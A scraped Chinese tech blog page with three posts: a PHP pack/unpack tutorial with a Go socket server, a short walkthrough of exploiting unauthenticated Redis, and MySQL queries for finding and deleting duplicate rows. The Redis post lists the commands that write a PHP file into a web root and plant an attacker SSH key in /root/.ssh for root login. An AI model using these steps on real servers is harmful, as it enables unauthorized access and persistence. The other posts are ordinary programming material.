你可能会觉得很奇怪,后面2个输出是一样的。ASCII码表示单字节字符(其中包括英文字母、数字、英文标点符号、不可见字符以及控制字符等等),它总是小于0x80,即小于十进制的128。当在处理字符时,如果字节小于0x80,则把它当作单字节来处理,否则会继续读取下一个字节,这通常跟编码有关,GBK会将2个字节当成一个字符来处理,UTF8则需要3个字节。有时候在PHP中需要做类似的处理,比如计算字符串中字符的个数(字符串可能包含单字节和多字节),strlen方法只能计算字节数,而mb_strlen需要开启扩展。类似这样的需求,其实很容易处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

function mbstrlen($str) {
$len = strlen($str);
if ($len <= 0) {
return 0;
}
$count = 0;
for ($i = 0; $i < $len; $i++) {
$count++;
if (ord($str{$i}) >= 0x80) {
$i+= 2;
}
}
return $count;
}
echo "output: " . mbstrlen("中国so强大!") . "\n";
1
2
$ php -f pack.php
output: 7

以上代码的实现就是利用单字节字符的ASCII码小于0x80。至于要跳过几个字节,这要看具体是什么编码。接下来通过例子来看看a和A的区别:

main.go的源码(只是用于测试,没有考虑细节):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package main
import (
"fmt"
"net"
)
const BUF_SIZE = 20

func handleConnection(conn net.Conn) {
defer conn.Close()
buf := make([]byte, BUF_SIZE)
n, err := conn.Read(buf)
if err != nil {
fmt.Printf("err: %v\n", err)
return
}
fmt.Printf("\n已接收:%d个字节,数据是:'%s'\n", n, string(buf))
}

func main() {
ln, err := net.Listen("tcp", ":9872")
if err != nil {
fmt.Printf("error: %v\n", err)
return
}
for {
conn, err := ln.Accept()
if err != nil {
continue
}
go handleConnection(conn)
}
}

编译运行

1
2
3
\$ cd $GOPATH/src/pack/_test
\$ go build
\$ ./pack/_test

代码很简单,收到数据,然后输出。

pack.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

$host = "127.0.0.1";
$port = "9872";
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP) or die("Unable to create socket\n");
@socket_connect($socket, $host, $port) or die("Connect error.\n");
if ($err = socket_last_error($socket)) {
socket_close($socket);
die(socket_strerror($err) . "\n");
}
$binarydata = pack("a20", "中国强大");
$len = socket_write($socket, $binarydata, strlen($binarydata));
socket_close($socket);
1
2
$ php -f pack.php
output: 已接收:20个字节,数据是:'中国强大'

以上的输出中,单引号不是数据的一部分,只是为了便于观察。很明显,我们打包的字符串只占12字节, a20 表示 20 个 a,你当然可以连续写 20 个a,但我想你不会这么傻。如果是 a- 的话,则表示任意多个a。通过服务器端的输出来看,PHP发送了20个字节过去,服务器端也接收了20个字节,但因为填充的 \0 是空字符,所以你不会看到有什么不一样的地方。现在我们将 a20 换成 A20 ,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

$host = "127.0.0.1";
$port = "9872";
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP) or die("Unable to create socket\n");
@socket_connect($socket, $host, $port) or die("Connect error.\n");
if ($err = socket_last_error($socket)) {
socket_close($socket);
die(socket_strerror($err) . "\n");
}
$binarydata = pack("A20", "中国强大");
$len = socket_write($socket, $binarydata, strlen($binarydata));
socket_close($socket);
1
2
$ php -f pack.php
output: 已接收:20个字节,数据是:'中国强大 '

是的,空格存在于数据中。这就是a和A的区别。

  • h和H的描述看起来有些奇怪。它们都是读取十进制,以十六进制方式读取,以半字节(4位)为单位。这听起来有些拗口,还是以实例来说明:
1
2
<?php
echo "output: " . pack("H", 0x5) . "\n";
1
2
$ php -f pack.php
output: P

首先是读取十进制,所以0x5会转成十进制的5,然后以半字节为单位并且以十六进制方式读取,为了补足8位,所以需要在5后面补0,变成0x50。别忘了十六进制的一位相当于二进制的四位。0x50正好是字符P的ASCII码。

1
2
<?php
echo "output: " . chr(0x50) . "\n";
1
2
$ php -f pack.php
output: P

h和H的差别在于h是低位在前,H是高位在前,拿前面的例子来看看h的行为:

1
2
3
4
<?php
$bin = pack("h", 0x5);
echo "output: " . $bin . "\n";
echo "output: " . ord($bin) . "\n";
1
2
3
$ php -f pack.php
output:
output: 5

读取十进制的5,后面补0,变成十六进制的0x50,因为H是高位在前,所以没有变化,而h就需要将0x50变成0x05。由于0x05是不可见字符,所以上面的字符输出是空的。

h和H是以半字节为单位,h2和H2则表示一次读取8位,同理h3和H3可以推导出来,但是别忘了补足8位.

1
2
<?php
echo "output: " . pack("H", 0x47) . "\n";
1
2
$ php -f pack.php
output: p

以上的代码中,0x47为十进制的71,因为读取半个字节,所以变成0x7,后面补0变成0x70,则刚好是字符p的ASCII码。如果换成是h格式化,则最终的结果是0x07,因为低位在前。

对于一次读取多个字节,也以同样的规则:

1
2
<?php
echo "output: " . pack("H2h2", 0x47, 0x56) . "\n";
1
2
$ php -f pack.php
output: qh

0x47是十进制的71,由于使用H2格式化,所以一次读取8位,最后变成十六进制的0x71,即字符q的ASCII码。0x56是十进制的86,由于使用h2格式化,所以一次读取8位,最后变成十六进制的0x86,但是由于h表示低位在前,因此0x86变成0x68,即字符h的ASCII码。

  • c和C都表示字符,前者表示有符号字符,后者表示无符号字符。
1
2
3
4
5
6
7
<?php
echo "output: " . pack("c", 65) . "\n";
echo "output: " . pack("C", 65) . "\n";

```s
$ php -f pack.phpoutput: A
output: A
  • s为有符号短整数;S为无符号短整数。它们都为主机字节序,并且为16位。通常为主机字节序的格式化字符,一般只用于单机的操作,因为你无法确定主机字节序究竟是大端还是小端。当然,你一定要这么干的话,也是有办法来获取本机字节序是属于大端或小端,但那样是没有必要的。稍后就会给出一个通过PHP来判断字节序的例子。
1
2
3
4
5
<?php
$bin1 = pack("s", 345);
$bin2 = pack("S", 452);
print_r(unpack("sshort1", $bin1));
print_r(unpack("sshort2", $bin2));
1
2
3
4
5
6
7
$ php -f pack.php
Array(
[short1] => 345
)
Array(
[short2] => 452
)
  • n和v除了明确指定了字节序,其它行为跟s和S是一样的。

  • i和I依赖于机器大小及字节序,很少用它们。

  • l、L、N、V跟s、S、n、v类似,除了表示的大小不同,前者都为32位,后者都为16位。

  • f、d是因为float和double与CPU无关。一般来说,编译器是按照IEEE标准解释的,即把float/double看作4/8个字符的数组进行解释。因此,只要编译器是支持IEEE浮点标准的,就不需要考虑字节顺序。

  • 剩下的x、X和@用得比较少,对此不作深究。

unpack的用法

unpack是用来解包经过pack打包的数据包,如果成功,则返回数组。其中格式化字符和执行pack时一一对应,但是需要额外的指定一个key,用作返回数组的key。多个字段用/分隔。例如:

1
2
3
4
5
6
<?php
$bin = @pack("a9SS", "Subscriptions", 20, 1);
$data = @unpack("a9name/sage/Sgender", $bin);
if (is_array($data)){
print_r($data);
}
1
2
3
4
5
6
$ php  -f pack.php
Array(
[name] => Subscriptions
[age] => 20
[gender] => 1
)

一些例子

  • 判断大小端

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    function IsBigEndian() {
    $bin = pack("L", 0x12345678);
    $hex = bin2hex($bin);
    if (ord(pack("H2", $hex)) === 0x78) {
    return FALSE;
    }
    return TRUE;
    }
    if (IsBigEndian()) {
    echo "大端序";
    } else {
    echo "小端序";
    }
    echo "\n";
  • 网络通信

    比如现在要通过PHP发送数据包到服务器来登录。在仅需要提供用户名(最多30个字节)和密码(md5之后固定为32字节)的情况下,可以构造如下数据包(当然这事先需要跟服务器协商好数据包的规范,本例以网络字节序通信):

    包结构:

    字段 字节数 说明
    包头 定长 每一个通信消息必须包含的内容
    包体 不定长 根据每个通信消息的不同产生变化

    其中包头详细内容如下:

    字段 字节数 类型 说明
    pkg_len 2 ushort 整个包的长度,不超过4K
    version 1 uchar 通讯协议版本号
    command_id 2 ushort 消息命令ID
    result 2 short 请求时不起作用;请求返回时使用<

    当然实际中可能会涉及到各种校验。本文为了简单,只是列举一下通常的工作流程及处理的方式。

    登录(执行命储1001)

    字段 字节数 类型 说明
    用户名 30 uchar[30] 登录用户名
    密码 32 uchar[32] 登录密码

    包头是定长的,通过计算可知包头占7个字节,并且包头在包体之前。比如用户Subscriptions需要登录,密码是123456,则代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    $version    = 1;
    $result = 0;
    $command_id = 1001;
    $username = "Subscriptions";
    $password = md5("123456"); // 构造包体
    $bin_body = pack("a30a32", $username, $password);// 包体长度
    $body_len = strlen($bin_body);
    $bin_head = pack("nCns", $body_len, $version, $command_id, $result);
    $bin_data = $bin_head . $bin_body;// 发送数据
    socket_write($socket, $bin_data, strlen($bin_data));
    socket_close($socket);

    服务器端通过读取定长包头,拿到包体长度,再读取并解析包体。大致的过程就是这样。当然服务器端也会返回响应包,客户端做相应的读取处理。

初识Redis未授权访问

发表于 2019-02-13 分类于 安全研究

redis是一种以key-value为键值对的非关系型数据库

redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Map), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

漏洞利用

本机通过telnet命令主动去连接目标机

telnet 192.168.1.13 6379

或者通过 redis-cli.exe -h 192.168.1.13 连接

连接成功后,输入info获取相关信息可以看到redis版本号等

利用方式

写入一句话webshell

1
2
3
4
5
6
7
8
9
//设置x的值

redis 192.168.1.13:6379> set x "<?php phpinfo(); ?>"

redis 192.168.1.13:6379> config set dbfilename test.php

redis 192.168.1.13:6379> config set dir D:/WWW/

redis 192.168.1.13:6379> save

成功写入目标机

http://192.168.1.13/test.php

写入ssh公钥

  • 在本地生成一对密钥
1
root@ip-172-31-14-115:~/.ssh# ssh-keygen -t rsa

接着将ssh公钥写入靶机

1
2
3
4
5
6
7
8
9
root@ip-172-31-14-115:/etc/redis# redis-cli -h 192.168.1.13

192.168.1.13:6379> config set dir /root/.ssh # 设置本地存储文件目录

192.168.1.13:6379> config set dbfilename pub_keys # 设置本地存储文件

192.168.1.13:6379> set x "xxxx" # 将你的ssh公钥写入x键里。(xxxx即你自己生成的ssh公钥)

192.168.1.13:6379> save # 保存

再到本地去连接ssh

1
root@ip-:~/.ssh# ssh -i id_rsa root@192.168.1.13

即可

mysql 查询重复数据

发表于 2018-12-01 分类于 数据库

本文主要介绍关于MySQL中查询、删除重复记录的方法,下面是详细的介绍:

  • 查找所有重复标题的记录
1
2
3
select title,count(*) as count from user_table group by title having count>1;

SELECT * FROM t_info a WHERE ((SELECT COUNT(*) FROM t_info WHERE Title = a.Title) > 1) ORDER BY Title DESC
  • 查找全部重复记录
1
SELECT * FROM t_info a WHERE ((SELECT COUNT(*) FROM t_info WHERE Title = a.Title) > 1) ORDER BY Title DESC
  • 过滤重复记录(只显示一条)
1
Select * From HZT Where ID In (Select Max(ID) From HZT Group By Title)

注:此处显示ID最大一条记录

  • 删除全部重复记录(慎用)
1
Delete 表 Where 重复字段 In (Select 重复字段 From 表 Group By 重复字段 Having Count(*)>1)
  • 保留一条
1
Delete HZT Where ID Not In (Select Max(ID) From HZT Group By Title)

注:此处保留ID最大一条记录

###举例

1、查找表中多余的重复记录,重复记录是根据单个字段(peopleId)来判断

1
select * from people where peopleId in (select peopleId from people group by peopleId having count(peopleId) > 1)

2、删除表中多余的重复记录,重复记录是根据单个字段(peopleId)来判断,只留有rowid最小的记录

1
delete from people where peopleId in (select peopleId from people group by peopleId having count(peopleId) > 1) and rowid not in (select min(rowid) from people group by peopleId having count(peopleId )>1)

3、查找表中多余的重复记录(多个字段)

1
select * from vitae a where (a.peopleId,a.seq) in (select peopleId,seq from vitae group by peopleId,seq having count(*) > 1)

4、删除表中多余的重复记录(多个字段),只留有rowid最小的记录

1
delete from vitae a where (a.peopleId,a.seq) in (select peopleId,seq from vitae group by peopleId,seq having count(*) > 1) and rowid not in (select min(rowid) from vitae group by peopleId,seq having count(*)>1)

5、查找表中多余的重复记录(多个字段),不包含rowid最小的记录

1
select * from vitae a where (a.peopleId,a.seq) in (select peopleId,seq from vitae group by peopleId,seq having count(*) > 1) and rowid not in (select min(rowid) from vitae group by peopleId,seq having count(*)>1)

补充

有两个以上的重复记录,一是完全重复的记录,也即所有字段均重复的记录,二是部分关键字段重复的记录,比如Name字段重复,而其他字段不一定重复或都重复可以忽略。

1、对于第一种重复,比较容易解决,使用

1
select distinct * from tableName

就可以得到无重复记录的结果集。

如果该表需要删除重复的记录(重复记录保留1条),可以按以下方法删除

1
2
3
4
select distinct * into #Tmp from tableName
drop table tableName
select * into tableName from #Tmp
drop table #Tmp

发生这种重复的原因是表设计不周产生的,增加唯一索引列即可解决。

2、这类重复问题通常要求保留重复记录中的第一条记录,操作方法如下

假设有重复的字段为Name,Address,要求得到这两个字段唯一的结果集

1
2
3
select identity(int,1,1) as autoID, * into #Tmp from tableName
select min(autoID) as autoID into #Tmp2 from #Tmp group by Name,autoID
select * from #Tmp where autoID in(select autoID from #tmp2)
1…567…16
Mr.Gou

Mr.Gou

155 日志
11 分类
38 标签
RSS
GitHub E-Mail Weibo
Links
  • 阮一峰的网络日志
  • 离别歌 - 代码审计漏洞挖掘pythonc++
  • 一只猿 - 前端攻城尸
  • 雨了个雨's blog
  • nMask's Blog - 风陵渡口
  • 区块链技术导航
© 2023 蜀ICP备2022014529号